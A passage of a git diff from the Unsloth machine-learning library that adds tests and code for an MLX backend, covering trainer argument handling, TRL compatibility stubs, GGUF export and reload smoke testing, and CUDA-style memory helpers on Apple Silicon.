assert trainer.args.optim == "adamw" + assert trainer.args.dataset_order == "torch_randperm" + assert trainer._unsloth_mlx_ignored_trainer_kwargs == {} + assert caught == [] + + +def test_mlx_trainer_preserves_explicit_dataset_order(): + """UnslothTrainer should only set torch_randperm when order is implicit.""" + unsloth = _import_mlx_unsloth() + + explicit_default = unsloth.UnslothTrainer( + model = _DummyModel(), + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments( + max_steps = 1, + dataset_order = "default", + ), + ) + explicit_sequential = unsloth.UnslothTrainer( + model = _DummyModel(), + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments( + max_steps = 1, + dataset_order = "sequential", + ), + ) + implicit_with_override = unsloth.UnslothTrainer( + model = _DummyModel(), + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments(max_steps = 1), + dataset_num_proc = 4, + ) + implicit_streaming = unsloth.UnslothTrainer( + model = _DummyModel(), + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments(max_steps = 1, streaming = True), + ) + explicit_no_clip = unsloth.UnslothTrainer( + model = _DummyModel(), + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments( + max_steps = 1, + max_grad_norm = 0.0, + ), + ) + + assert explicit_default.args.dataset_order == "default" + assert explicit_sequential.args.dataset_order == "sequential" + assert implicit_with_override.args.dataset_order == "torch_randperm" + assert implicit_streaming.args.dataset_order == "default" + assert implicit_with_override.args.max_grad_norm == 1.0 + assert explicit_no_clip.args.max_grad_norm == 0.0 + + +def test_mlx_trainer_uses_model_context_length_when_implicit(): + """UnslothTrainer should mirror CUDA's max_length bridge precedence.""" + unsloth = _import_mlx_unsloth() + model = _DummyModel() + model.max_seq_length = 321 + max_length_model = _DummyModel() + max_length_model.max_seq_length = 321 + none_model = _DummyModel() + none_model.max_seq_length = 321 + explicit_seq_model = _DummyModel() + explicit_seq_model.max_seq_length = 321 + clamped_seq_model = _DummyModel() + clamped_seq_model.max_seq_length = 321 + model_max_length = _DummyModel() + model_max_length.max_length = 777 + metadata_model = _DummyModel() + metadata_model.config = type("Config", (), {"max_position_embeddings": 888})() + metadata_tokenizer = type("Tokenizer", (), {"model_max_length": 999})() + explicit_max_length_no_model = _DummyModel() + trainer_override_model = _DummyModel() + trainer_override_model.max_seq_length = 321 + config_override_model = _DummyModel() + config_override_model.max_seq_length = 432 + + implicit = unsloth.UnslothTrainer( + model = model, + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments(max_steps = 1), + ) + max_length_args = unsloth.UnslothTrainer( + model = max_length_model, + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments(max_steps = 1, max_length = 123), + ) + none_args = unsloth.UnslothTrainer( + model = none_model, + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments(max_steps = 1, max_seq_length = None), + ) + explicit_seq = unsloth.UnslothTrainer( + model = explicit_seq_model, + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments(max_steps = 1, max_seq_length = 123), + ) + clamped_seq = unsloth.UnslothTrainer( + model = clamped_seq_model, + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments(max_steps = 1, max_seq_length = 654), + ) + model_max_length_only = unsloth.UnslothTrainer( + model = model_max_length, + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments(max_steps = 1), + ) + metadata_ignored = unsloth.UnslothTrainer( + model = metadata_model, + tokenizer = metadata_tokenizer, + train_dataset = [], + args = unsloth.UnslothTrainingArguments(max_steps = 1), + ) + explicit_max_length = unsloth.UnslothTrainer( + model = explicit_max_length_no_model, + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments(max_steps = 1, max_length = 123), + ) + trainer_override = unsloth.UnslothTrainer( + model = trainer_override_model, + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments(max_steps = 1), + max_seq_length = 654, + ) + config_with_override = unsloth.UnslothTrainer( + model = config_override_model, + tokenizer = None, + train_dataset = [], + args = unsloth.MLXTrainingConfig(max_steps = 1), + dataset_num_proc = 4, + ) + + assert implicit.args.max_seq_length == 321 + assert implicit.args.max_length == 321 + assert max_length_args.args.max_seq_length == 321 + assert max_length_args.args.max_length == 321 + assert none_args.args.max_seq_length == 321 + assert none_args.args.max_length == 321 + assert explicit_seq.args.max_seq_length == 123 + assert explicit_seq.args.max_length == 123 + assert clamped_seq.args.max_seq_length == 321 + assert clamped_seq.args.max_length == 321 + assert model_max_length_only.args.max_seq_length == 777 + assert model_max_length_only.args.max_length == 777 + assert metadata_ignored.args.max_seq_length == 1024 + assert metadata_ignored.args.max_length == 1024 + assert explicit_max_length.args.max_seq_length == 123 + assert explicit_max_length.args.max_length == 123 + assert trainer_override.args.max_seq_length == 654 + assert trainer_override.args.max_length == 654 + assert config_with_override.args.max_seq_length == 432 + assert config_with_override.args.max_length == 432 + + +def test_mlx_trainer_processing_class_overrides_explicit_none_tokenizer(): + """TRL passes tokenizer=None while processing_class carries the tokenizer.""" + unsloth = _import_mlx_unsloth() + tokenizer = object() + + class Processor: + pass + + processor = Processor() + processor.tokenizer = tokenizer + + trainer = unsloth.UnslothTrainer( + model = _DummyModel(), + tokenizer = None, + train_dataset = [], + args = {"max_steps": 1}, + processing_class = processor, + ) + + assert trainer.processor is processor + assert trainer.tokenizer is tokenizer + + +def test_mlx_trainer_vision_collator_processor_overrides_processing_class(): + """Vision notebooks pass the tokenizer as processing_class and processor in collator.""" + unsloth = _import_mlx_unsloth() + tokenizer = object() + + class Processor: + pass + + processor = Processor() + processor.tokenizer = tokenizer + collator = unsloth.UnslothVisionDataCollator(_DummyVLMModel(), processor) + + trainer = unsloth.UnslothTrainer( + model = _DummyVLMModel(), + tokenizer = None, + train_dataset = [], + args = {"max_steps": 1}, + processing_class = tokenizer, + data_collator = collator, + ) + + assert trainer.processor is processor + assert trainer.tokenizer is tokenizer + + +def test_mlx_trainer_preserves_explicit_processor_over_vision_collator(): + """Explicit processor kwargs should stay authoritative over collator metadata.""" + unsloth = _import_mlx_unsloth() + tokenizer = object() + explicit_processor = object() + + class Processor: + pass + + collator_processor = Processor() + collator_processor.tokenizer = tokenizer + collator = unsloth.UnslothVisionDataCollator(_DummyVLMModel(), collator_processor) + + trainer = unsloth.UnslothTrainer( + model = _DummyVLMModel(), + tokenizer = None, + train_dataset = [], + args = {"max_steps": 1}, + processor = explicit_processor, + processing_class = tokenizer, + data_collator = collator, + ) + + assert trainer.processor is explicit_processor + assert trainer.tokenizer is tokenizer + + +def test_mlx_trainer_forwards_vision_collator_positional_defaults(): + """Vision collator CUDA-style positionals should route into MLX args.""" + unsloth = _import_mlx_unsloth() + collator = unsloth.UnslothVisionDataCollator( + _DummyVLMModel(), + object(), + 2048, + None, + "max", + -100, + False, + None, + None, + True, + None, + False, + ) + + trainer = unsloth.UnslothTrainer( + model = _DummyVLMModel(), + tokenizer = None, + train_dataset = [], + args = {"max_steps": 1}, + data_collator = collator, + ) + + assert trainer.args.max_seq_length == 2048 + assert trainer.args.image_size == "max" + assert trainer.args.completion_only_loss is False + + +def test_mlx_vision_collator_default_does_not_override_explicit_args(): + """Implicit collator defaults should not override explicit trainer args.""" + unsloth = _import_mlx_unsloth() + collator = unsloth.UnslothVisionDataCollator(_DummyVLMModel(), object()) + + trainer = unsloth.UnslothTrainer( + model = _DummyVLMModel(), + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments( + max_steps = 1, + completion_only_loss = False, + ), + data_collator = collator, + ) + + assert trainer.args.completion_only_loss is False + + +def test_mlx_trainer_rejects_unsafe_unsupported_sft_kwargs(): + """Unsupported kwargs that change training semantics should fail on MLX.""" + unsloth = _import_mlx_unsloth() + + with pytest.raises(NotImplementedError, match = "peft_config"): + unsloth.UnslothTrainer( + model = _DummyModel(), + tokenizer = None, + train_dataset = [], + peft_config = object(), + ) + + +def test_mlx_trainer_rejects_metrics_and_callbacks(): + """Trainer hooks should fail because MLXTrainer cannot honor them yet.""" + unsloth = _import_mlx_unsloth() + + with pytest.raises(NotImplementedError, match = "callbacks"): + unsloth.UnslothTrainer( + model = _DummyModel(), + tokenizer = None, + train_dataset = [], + callbacks = [object()], + ) + with pytest.raises(NotImplementedError, match = "compute_metrics"): + unsloth.UnslothTrainer( + model = _DummyModel(), + tokenizer = None, + train_dataset = [], + compute_metrics = lambda *_: None, + ) + + +def test_mlx_trainer_rejects_custom_data_collator(): + """MLXTrainer owns batching; custom SFT data collators must not be ignored.""" + unsloth = _import_mlx_unsloth() + + with pytest.raises(NotImplementedError, match = "data_collator"): + unsloth.UnslothTrainer( + model = _DummyModel(), + tokenizer = None, + train_dataset = [], + data_collator = object(), + ) + + +def test_mlx_trainer_rejects_text_completion_only_loss(): + """Text MLX training should not silently ignore completion_only_loss=True.""" + unsloth = _import_mlx_unsloth() + + with pytest.raises(NotImplementedError, match = "completion_only_loss=True"): + unsloth.UnslothTrainer( + model = _DummyModel(), + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments( + max_steps = 1, + completion_only_loss = True, + ), + ) + + +def test_mlx_trainer_allows_vlm_completion_only_loss(): + """VLM MLX training supports completion_only_loss during collation.""" + unsloth = _import_mlx_unsloth() + + class VLMModel(_DummyModel): + _is_vlm_model = True + + trainer = unsloth.UnslothTrainer( + model = VLMModel(), + tokenizer = None, + train_dataset = [], + args = unsloth.UnslothTrainingArguments( + max_steps = 1, + completion_only_loss = True, + ), + ) + + assert trainer.args.completion_only_loss is True + + +def test_mlx_trainer_accepts_trl_style_positional_args(): + """TRL-style positional `(model, args, ...)` should not be read as tokenizer.""" + unsloth = _import_mlx_unsloth() + + args = unsloth.UnslothTrainingArguments("trl-outputs", max_steps = 2) + trainer = unsloth.UnslothTrainer( + _DummyModel(), + args, + train_dataset = [], + tokenizer = None, + ) + + assert trainer.args is args + assert trainer.args.output_dir == "trl-outputs" + assert trainer.train_dataset == [] + + +def test_mlx_trainer_accepts_trl_none_placeholder_positionals(): + """Explicit TRL default placeholders should preserve later positional args.""" + unsloth = _import_mlx_unsloth() + dataset = [{"text": "hello"}] + processing_class = object() + + trainer = unsloth.UnslothTrainer( + _DummyModel(), + None, + None, + dataset, + None, + processing_class, + ) + + assert getattr(trainer.train_dataset, "_dataset", trainer.train_dataset) is dataset + assert getattr(trainer, "_mlx_train_dataset_for_batches", dataset) is dataset + assert trainer.tokenizer is processing_class + assert trainer.args.max_steps == 60 + + +def test_mlx_trainer_accepts_short_trl_none_placeholder_positionals(): + """Short TRL placeholder calls should keep the fourth arg as train_dataset.""" + unsloth = _import_mlx_unsloth() + dataset = [{"text": "hello"}] + + trainer = unsloth.UnslothTrainer( + _DummyModel(), + None, + None, + dataset, + ) + + assert trainer.train_dataset is dataset + assert trainer.eval_dataset is None + assert trainer.args.max_steps == 60 + + +def test_mlx_trainer_accepts_short_trl_placeholders_with_keyword_dataset(): + """Short TRL placeholders should not conflict with keyword train_dataset.""" + unsloth = _import_mlx_unsloth() + dataset = [{"text": "hello"}] + + trainer = unsloth.UnslothTrainer( + _DummyModel(), + None, + None, + train_dataset = dataset, + ) + + assert trainer.train_dataset is dataset + assert trainer.eval_dataset is None + assert trainer.args.max_steps == 60 + + +def test_mlx_trainer_preserves_mlx_positional_schema_with_none_tokenizer(): + """MLX-style `(model, tokenizer, train_dataset, ...)` should still work.""" + unsloth = _import_mlx_unsloth() + dataset = [{"text": "hello"}] + + trainer = unsloth.UnslothTrainer( + _DummyModel(), + None, + dataset, + None, + ) + + assert trainer.tokenizer is None + assert trainer.train_dataset is dataset + assert trainer.eval_dataset is None + + +def test_mlx_compatibility_shims_are_installed(): + """Old notebook imports should resolve to the MLX public API after unsloth import.""" + unsloth = _import_mlx_unsloth() + + trl = importlib.import_module("trl") + trainer_module = importlib.import_module("unsloth.trainer") + chat_templates = importlib.import_module("unsloth.chat_templates") + dataset_utils = importlib.import_module("unsloth_zoo.dataset_utils") + + assert importlib.util.find_spec("trl") is not None + assert importlib.util.find_spec("unsloth.trainer") is not None + assert unsloth.trainer is trainer_module + assert unsloth.chat_templates is chat_templates + assert trl.SFTTrainer is unsloth.UnslothTrainer + assert issubclass(trl.SFTConfig, unsloth.UnslothTrainingArguments) + assert trainer_module.UnslothTrainer is unsloth.UnslothTrainer + assert trainer_module.UnslothVisionDataCollator is unsloth.UnslothVisionDataCollator + assert chat_templates.train_on_responses_only is dataset_utils.train_on_responses_only + assert callable(unsloth.train_on_responses_only) + + +def test_mlx_trl_shim_preserves_existing_trl_module(monkeypatch): + """The MLX TRL shim should patch, not replace, an already-loaded TRL module.""" + unsloth = _import_mlx_unsloth() + trl = types.ModuleType("trl") + trl.__path__ = ["real-trainer-package"] + trl.existing_marker = object() + trl.ExistingExport = object() + trl.__all__ = ["ExistingExport", "BrokenExport"] + + def _raise_for_broken_export(name): + if name == "BrokenExport": + raise RuntimeError("optional dependency missing") + raise AttributeError(name) + + trl.__getattr__ = _raise_for_broken_export + monkeypatch.setitem(sys.modules, "trl", trl) + + unsloth._install_mlx_trl_sft_shim() + + assert sys.modules["trl"] is trl + assert trl.__path__ == ["real-trainer-package"] + assert trl.SFTTrainer is unsloth.UnslothTrainer + assert issubclass(trl.SFTConfig, unsloth.UnslothTrainingArguments) + assert trl.__UNSLOTH_MLX_COMPAT__ is True + assert "ExistingExport" in trl.__all__ + assert "BrokenExport" not in trl.__all__ + assert "SFTTrainer" in trl.__all__ + assert "SFTConfig" in trl.__all__ + + +def test_mlx_trl_shim_installs_real_trl_or_stub(monkeypatch): + """The MLX TRL shim should prefer real TRL and stub only if unavailable.""" + unsloth = _import_mlx_unsloth() + monkeypatch.delitem(sys.modules, "trl", raising = False) + real_trl_available = importlib.util.find_spec("trl") is not None + + unsloth._install_mlx_trl_sft_shim() + trl = importlib.import_module("trl") + + if real_trl_available: + assert trl.__version__ != "0.0.0+unsloth-mlx" + else: + assert trl.__version__ == "0.0.0+unsloth-mlx" + assert trl.SFTTrainer is unsloth.UnslothTrainer + assert issubclass(trl.SFTConfig, unsloth.UnslothTrainingArguments) + assert trl.__UNSLOTH_MLX_COMPAT__ is True + + +def test_mlx_trl_star_import_exports_public_shims(): + """Existing `from trl import *` callers should receive MLX SFT shims.""" + unsloth = _import_mlx_unsloth() + namespace = {} + + exec("from trl import *", namespace) + + assert namespace["SFTTrainer"] is unsloth.UnslothTrainer + assert issubclass(namespace["SFTConfig"], unsloth.UnslothTrainingArguments) + + +def test_mlx_rl_trainers_stub_with_clear_error(monkeypatch): + """GRPO/DPO/ORPO trainers have no MLX path, so the shim retargets the ones trl + exposes to a clear NotImplementedError instead of a confusing CUDA crash, and + never invents trainers trl does not have.""" + unsloth = _import_mlx_unsloth() + trl = types.ModuleType("trl") + trl.__path__ = ["real-trainer-package"] + + class _RealTrainer: + def __init__(self, *args, **kwargs): + raise AssertionError("the real torch/CUDA trainer must not run on MLX") + + trl.GRPOTrainer = _RealTrainer + trl.DPOTrainer = _RealTrainer + monkeypatch.setitem(sys.modules, "trl", trl) + + unsloth._install_mlx_trl_sft_shim() + + for name in ("GRPOTrainer", "DPOTrainer"): + assert getattr(trl, name) is not _RealTrainer + with pytest.raises(NotImplementedError) as exc: + getattr(trl, name)(model = None, args = None) + assert "MLX" in str(exc.value) and name in str(exc.value) + # trainers trl never exposed must not be invented + assert not hasattr(trl, "PPOTrainer") + # idempotent: a second install keeps the same stub + stub = trl.GRPOTrainer + unsloth._install_mlx_trl_sft_shim() + assert trl.GRPOTrainer is stub + + +def test_mlx_rl_trainer_stub_is_lazy_import_safe(monkeypatch): + """Stubbing unsupported trl trainers must not resolve them: trl lazy-imports + pull torch, so on a torch-free MLX install a getattr probe would crash + `import unsloth`. The shim reads __all__/vars metadata and never triggers + trl's __getattr__ for a trainer it is about to replace.""" + unsloth = _import_mlx_unsloth() + trl = types.ModuleType("trl") + trl.__path__ = ["real-trainer-package"] + trl.__all__ = ["SFTTrainer", "SFTConfig", "GRPOTrainer", "DPOTrainer"] + resolved = [] + + def _lazy_getattr(name): + resolved.append(name) + raise ImportError(f"lazy import of {name} would pull torch") + + trl.__getattr__ = _lazy_getattr + monkeypatch.setitem(sys.modules, "trl", trl) + + unsloth._install_mlx_trl_sft_shim() # must not raise despite the lazy trl + + # trainers declared in __all__ are stubbed WITHOUT ever resolving the real one + assert resolved == [] + for name in ("GRPOTrainer", "DPOTrainer"): + with pytest.raises(NotImplementedError): + getattr(trl, name)(model = None) + + +def test_mlx_stubs_trl_trainers_outside_fixed_set(monkeypatch): + """Any non-SFT trainer trl exports (e.g. a newer RLOOTrainer not in the fixed + list) must be stubbed too, so no torch trainer slips through on MLX.""" + unsloth = _import_mlx_unsloth() + trl = types.ModuleType("trl") + trl.__path__ = ["real-trainer-package"] + trl.__all__ = ["SFTTrainer", "SFTConfig", "RLOOTrainer"] + monkeypatch.setitem(sys.modules, "trl", trl) + + unsloth._install_mlx_trl_sft_shim() + + with pytest.raises(NotImplementedError) as exc: + trl.RLOOTrainer(model = None) + assert "MLX" in str(exc.value) and "RLOOTrainer" in str(exc.value) + # SFT stays usable; only non-SFT trainers are stubbed + assert trl.SFTTrainer is unsloth.UnslothTrainer + + +def test_mlx_preserve_dataset_order_is_accepted(): + """preserve_dataset_order=True must be accepted (it is a real MLX config field), + not rejected as an unknown/unsupported argument.""" + unsloth = _import_mlx_unsloth() + args = unsloth.UnslothTrainingArguments( + output_dir = "mlx-out", + max_steps = 10, + preserve_dataset_order = True, + ) + assert getattr(args, "preserve_dataset_order", False) is True + + +def test_mlx_sftconfig_alias_keeps_trl_epoch_default(monkeypatch): + """`trl.SFTConfig` (aliased on MLX) keeps TRL's default training length: with + no explicit max_steps/num_train_epochs it runs TRL's 3 epochs, not the native + MLX 60-step default. An explicit length is authoritative and untouched.""" + unsloth = _import_mlx_unsloth() + trl = types.ModuleType("trl") + trl.__path__ = ["real-trainer-package"] + monkeypatch.setitem(sys.modules, "trl", trl) + + unsloth._install_mlx_trl_sft_shim() + + # no explicit length -> TRL epoch default (3 epochs, step cap disabled) + cfg = trl.SFTConfig(output_dir = "mlx-out") + assert cfg.num_train_epochs == 3 + assert cfg.max_steps == -1 + # explicit step / epoch counts stay exactly as written + assert trl.SFTConfig(output_dir = "mlx-out", max_steps = 17).max_steps == 17 + assert trl.SFTConfig(output_dir = "mlx-out", num_train_epochs = 2).num_train_epochs == 2 + + +def test_mlx_vision_collator_is_constructor_compatible(): + """Vision notebooks should be able to instantiate the collator placeholder.""" + unsloth = _import_mlx_unsloth() + + collator = unsloth.UnslothVisionDataCollator("model", "processor", flag = True) + + assert collator.model == "model" + assert collator.processor == "processor" + assert collator.kwargs == {"completion_only_loss": True, "flag": True} + + +def test_mlx_train_on_responses_only_returns_shared_mask_function(): + """The MLX public shim should expose the shared response-mask helper.""" + unsloth = _import_mlx_unsloth() + + class Tokenizer: + def __call__( + self, + text, + add_special_tokens = False, + ): + return types.SimpleNamespace( + input_ids = { + "": [1], + "": [2], + }[text] + ) + + def convert_tokens_to_ids(self, token): + return token + + mask_fn = unsloth.train_on_responses_only( + None, + instruction_part = "", + response_part = "", + tokenizer = Tokenizer(), + return_function = True, + ) + masked = mask_fn( + { + "input_ids": [[1, 10, 2, 20, 21, 1, 11]], + } + ) + + assert masked == {"labels": [[-100, -100, -100, 20, 21, -100, -100]]} + + last_mask_fn = unsloth.train_on_responses_only( + None, + instruction_part = "", + response_part = "", + tokenizer = Tokenizer(), + return_function = True, + last_response_only = True, + ) + last_masked = last_mask_fn( + { + "input_ids": [[1, 10, 2, 20, 1, 11, 2, 30]], + } + ) + + assert last_masked == {"labels": [[-100, -100, -100, -100, -100, -100, -100, 30]]} + + +def test_mlx_get_chat_template_uses_light_tokenizer_patch(monkeypatch): + """MLX notebooks should not import CUDA-heavy tokenizer/save helpers.""" + _import_mlx_unsloth() + from unsloth.chat_templates import get_chat_template + import unsloth_zoo.tokenizer_utils as tokenizer_utils + + class Tokenizer: + is_fast = True + padding_side = "right" + eos_token = "" + bos_token = "" + unk_token = "" + pad_token = "" + added_tokens_decoder = {} + + def fake_patch_tokenizer(model, tokenizer): + return model, tokenizer + + real_import = builtins.__import__ + + def guarded_import(name, *args, **kwargs): + if name.startswith("unsloth.models") or name.startswith("unsloth.save"): + raise AssertionError(f"unexpected CUDA-heavy import: {name}") + return real_import(name, *args, **kwargs) + + monkeypatch.setattr(tokenizer_utils, "patch_tokenizer", fake_patch_tokenizer) + monkeypatch.setattr(builtins, "__import__", guarded_import) + + tokenizer = get_chat_template( + Tokenizer(), + chat_template = ("{{ messages }}", ""), + ) + + assert tokenizer.chat_template == "{{ messages }}" + assert tokenizer.padding_side == "right" + + +def test_mlx_gpu_memory_stats_helper_shape(): + """The portable memory helper should return CUDA-shaped values.""" + unsloth = _import_mlx_unsloth() + + stats, used, total = unsloth.get_gpu_memory_stats() + + assert isinstance(stats.name, str) + assert hasattr(stats, "total_memory") + assert isinstance(used, float) + assert total > 0 + + +def test_mlx_torch_cuda_compatibility_shim(): + """Existing CUDA memory and move calls should run on MLX.""" + unsloth = _import_mlx_unsloth() + torch = pytest.importorskip("torch") + from transformers.tokenization_utils_base import BatchEncoding + + stats, used, total = unsloth.get_gpu_memory_stats() + cuda_stats = torch.cuda.get_device_properties(0) + + assert cuda_stats.name == stats.name + assert cuda_stats.total_memory == stats.total_memory + assert torch.cuda.get_device_name(0) == stats.name + assert torch.cuda.max_memory_reserved() == int(used * 1024 * 1024 * 1024) + assert torch.cuda.max_memory_allocated() == torch.cuda.max_memory_reserved() + # current (non-max) APIs report live active memory, not the peak high-water + # mark, and never exceed it. + assert 0 <= torch.cuda.memory_reserved() <= torch.cuda.max_memory_reserved() + assert torch.cuda.memory_allocated() == torch.cuda.memory_reserved() + assert torch.cuda.device_count() == 1 + assert torch.cuda.current_device() == 0 + assert torch.cuda.get_device_capability() == (0, 0) + assert total > 0 + + free_bytes, total_bytes = torch.cuda.mem_get_info() + assert total_bytes == int(total * 1024 * 1024 * 1024) + assert 0 <= free_bytes <= total_bytes + + torch.cuda.empty_cache() + torch.cuda.synchronize() + torch.cuda.reset_peak_memory_stats() + torch.cuda.set_device(0) + + tensor = torch.tensor([1, 2, 3]) + assert tensor.to("cuda") is tensor + assert tensor.cuda() is tensor + assert tensor.to(device = "cuda") is tensor + assert tensor.to("cuda", dtype = torch.float32).dtype == torch.float32 + + batch = BatchEncoding({"input_ids": tensor}) + assert batch.to("cuda") is batch + assert batch.to(device = "cuda") is batch diff --git a/tests/studio/run_real_mlx_smoke.py b/tests/studio/run_real_mlx_smoke.py index 7a63dcfb85..275fe7ac57 100644 --- a/tests/studio/run_real_mlx_smoke.py +++ b/tests/studio/run_real_mlx_smoke.py @@ -403,10 +403,14 @@ def cmd_train(args) -> int: metrics["gguf_dir"] = str(gguf_dir) with Phase("save_gguf", metrics): try: + # q8_0 (the exporter default), not bf16: llama.cpp has optimized q8_0 + # CPU kernels, whereas bf16 CPU decode is unusably slow on the runner + # and made the fresh-process llama-cli reload below time out. q8_0 is + # also what users deploy by default. model.save_pretrained_gguf( str(gguf_dir), tokenizer = tokenizer, - quantization_method = "not_quantized", + quantization_method = "fast_quantized", ) gguf_files = sorted(gguf_dir.glob("*.gguf")) if not gguf_files: @@ -565,31 +569,36 @@ def _reload_gguf(save_dir: Path, metrics: dict) -> int: raise SystemExit(f"no .gguf files in {save_dir}") gguf_path = gguf_files[0] - # This is a save/reload-integrity smoke; a few generated tokens are enough. - # Keep llama.cpp bounded on macOS runners where BF16 GGUF decode is CPU-bound. + # Save/reload-integrity smoke (assert below only needs a few chars). The GGUF is + # exported q8_0 (see save_gguf) because llama.cpp bf16 CPU decode is unusably slow + # on the runner. Run CPU-only (-ngl 0), cap the context (-c 256, the model + # advertises 32768), and keep generation short; all env-tunable. n_predict = os.environ.get("UNSLOTH_GGUF_RELOAD_N", "8") n_threads = os.environ.get("UNSLOTH_GGUF_RELOAD_THREADS", str(os.cpu_count() or 4)) + n_ctx = os.environ.get("UNSLOTH_GGUF_RELOAD_CTX", "256") + n_gpu_layers = os.environ.get("UNSLOTH_GGUF_RELOAD_NGL", "0") reload_timeout = int(os.environ.get("UNSLOTH_GGUF_RELOAD_TIMEOUT", "420")) - + argv = [ + str(llama_cli), + "-m", + str(gguf_path), + "-p", + PROMPT, + "-n", + n_predict, + "-t", + n_threads, + "-c", + n_ctx, + "-ngl", + n_gpu_layers, + "--temp", + "0", + "--seed", + str(SEED), + "--no-warmup", + ] with Phase("reload_gguf", metrics): - argv = [ - str(llama_cli), - "-m", - str(gguf_path), - "-p", - PROMPT, - "-n", - n_predict, - "-t", - n_threads, - "--temp", - "0", - "--seed", - str(SEED), - "-c", - "256", - "--no-warmup", - ] try: proc = subprocess.run( argv, @@ -606,6 +615,7 @@ def _reload_gguf(save_dir: Path, metrics: dict) -> int: return stream.decode("utf-8", errors = "replace") return stream or "" + print(f" [reload:gguf] TIMEOUT running: {' '.join(argv)}", flush = True) print(f" [reload:gguf] TIMEOUT stdout:\n{_decode(exc.stdout)[:1000]}", flush = True) print(f" [reload:gguf] TIMEOUT stderr:\n{_decode(exc.stderr)[:1000]}", flush = True) raise diff --git a/unsloth/__init__.py b/unsloth/__init__.py index 8202195ca8..04cc600725 100644 --- a/unsloth/__init__.py +++ b/unsloth/__init__.py @@ -33,6 +33,27 @@ if platform.system() == "Windows": pass +class _UnslothDeviceStats: + """Portable device metadata used by backend memory-reporting helpers.""" + + def __init__( + self, + name, + total_memory = 0, + ): + """Store a display name and total memory in bytes.""" + self.name = name + self.total_memory = int(total_memory or 0) + self.major = 0 + self.minor = 0 + self.multi_processor_count = 0 + + +def _bytes_to_gb(value): + """Convert byte counts to GiB rounded""" + return round(float(value or 0) / 1024 / 1024 / 1024, 3) + + def _is_mlx_available(): # Transitional import barrier: keep non-Apple-Silicon imports from touching # unsloth_zoo until unsloth_zoo.mlx is import-safe on GPU hosts. Then this @@ -66,7 +87,12 @@ if _IS_MLX: # mlx.trainer / mlx.loader submodules. Surface a friendly install hint # instead of a raw ImportError on the submodule path. try: - from unsloth_zoo.mlx.trainer import MLXTrainer, MLXTrainingConfig + from unsloth_zoo.mlx.trainer import ( + MLXTrainer, + MLXTrainingConfig, + _is_vlm_model, + _normalize_mlx_optimizer_name, + ) from unsloth_zoo.mlx.loader import FastMLXModel except ImportError as _e: raise ImportError( @@ -75,6 +101,53 @@ if _IS_MLX: "`pip install -U unsloth-zoo` or rerun install.sh." ) from _e + import dataclasses as _dataclasses + import importlib.machinery as _machinery + import sys as _sys + import types as _types + import warnings as _warnings + + __version__ = unsloth_zoo.__version__ + DEVICE_TYPE = "mlx" + + def _is_mlx_cuda_device_target(device): + """Return True when a torch .to/.cuda target asks for CUDA on MLX.""" + if device is None: + return False + return str(device).lower().startswith("cuda") + + def _patch_mlx_batch_encoding_to_cuda(): + """Treat tokenizer_output.to("cuda") as a no-op on the MLX backend.""" + try: + from transformers.tokenization_utils_base import BatchEncoding + except Exception: + return + + original_to = getattr(BatchEncoding, "to", None) + if original_to is None or getattr(original_to, "_unsloth_mlx_cuda_noop", False): + return + + def batch_encoding_to( + self, + device = None, + *args, + **kwargs, + ): + target = kwargs.get("device", device) + if _is_mlx_cuda_device_target(target): + return self + # device given by keyword: don't also pass the positional None, or the + # original raises "multiple values for 'device'" (e.g. .to(device="cpu")). + if "device" in kwargs: + return original_to(self, *args, **kwargs) + return original_to(self, device, *args, **kwargs) + + batch_encoding_to._unsloth_mlx_cuda_noop = True + batch_encoding_to._unsloth_original_to = original_to + BatchEncoding.to = batch_encoding_to + + _patch_mlx_batch_encoding_to_cuda() + # Load raw_text helpers without executing dataprep/__init__.py, which # imports synthetic.py -> torch and would defeat the torch-free MLX path. from pathlib import Path as _Path @@ -89,9 +162,6 @@ if _IS_MLX: TextPreprocessor = _raw_text.TextPreprocessor del _raw_text, _raw_text_spec, _raw_text_path, _Path - __version__ = unsloth_zoo.__version__ - DEVICE_TYPE = "mlx" - class FastLanguageModel: @staticmethod def from_pretrained(*args, **kwargs): @@ -141,14 +211,1202 @@ if _IS_MLX: is_bf16_supported = is_bfloat16_supported + def get_gpu_memory_stats(): + """Return MLX device stats, peak memory, and total memory in GiB.""" + import mlx.core as mx + + info = mx.device_info() + total = info.get("memory_size") or info.get("max_recommended_working_set_size") or 0 + get_peak_memory = getattr(mx, "get_peak_memory", None) + if get_peak_memory is None and hasattr(mx, "metal"): + get_peak_memory = getattr(mx.metal, "get_peak_memory", None) + peak = get_peak_memory() if callable(get_peak_memory) else 0 + stats = _UnslothDeviceStats(info.get("device_name", "Apple GPU"), total) + max_memory = _bytes_to_gb(total) or 1.0 + return stats, _bytes_to_gb(peak), max_memory + + def clear_gpu_memory(): + """Clear MLX's cached GPU memory for compatibility cleanup helpers.""" + import mlx.core as mx + + clear_cache = getattr(mx, "clear_cache", None) + if clear_cache is None and hasattr(mx, "metal"): + clear_cache = getattr(mx.metal, "clear_cache", None) + if callable(clear_cache): + clear_cache() + + def _patch_mlx_torch_cuda_compat_api(): + """Expose CUDA-shaped torch helpers for compatibility callers on MLX.""" + try: + import torch + except Exception: + return + + cuda = getattr(torch, "cuda", None) + if cuda is not None and not getattr(cuda, "_unsloth_mlx_cuda_compat_api", False): + + def get_device_properties(device = None): + """Return MLX device stats through torch.cuda's compatibility API.""" + return get_gpu_memory_stats()[0] + + def get_device_name(device = None): + """Return the MLX device name through torch.cuda's compatibility API.""" + return get_device_properties(device).name + + def max_memory_reserved(device = None): + """Return MLX peak memory in bytes for torch.cuda compatibility API.""" + return int(get_gpu_memory_stats()[1] * 1024 * 1024 * 1024) + + def empty_cache(): + """Clear MLX cache 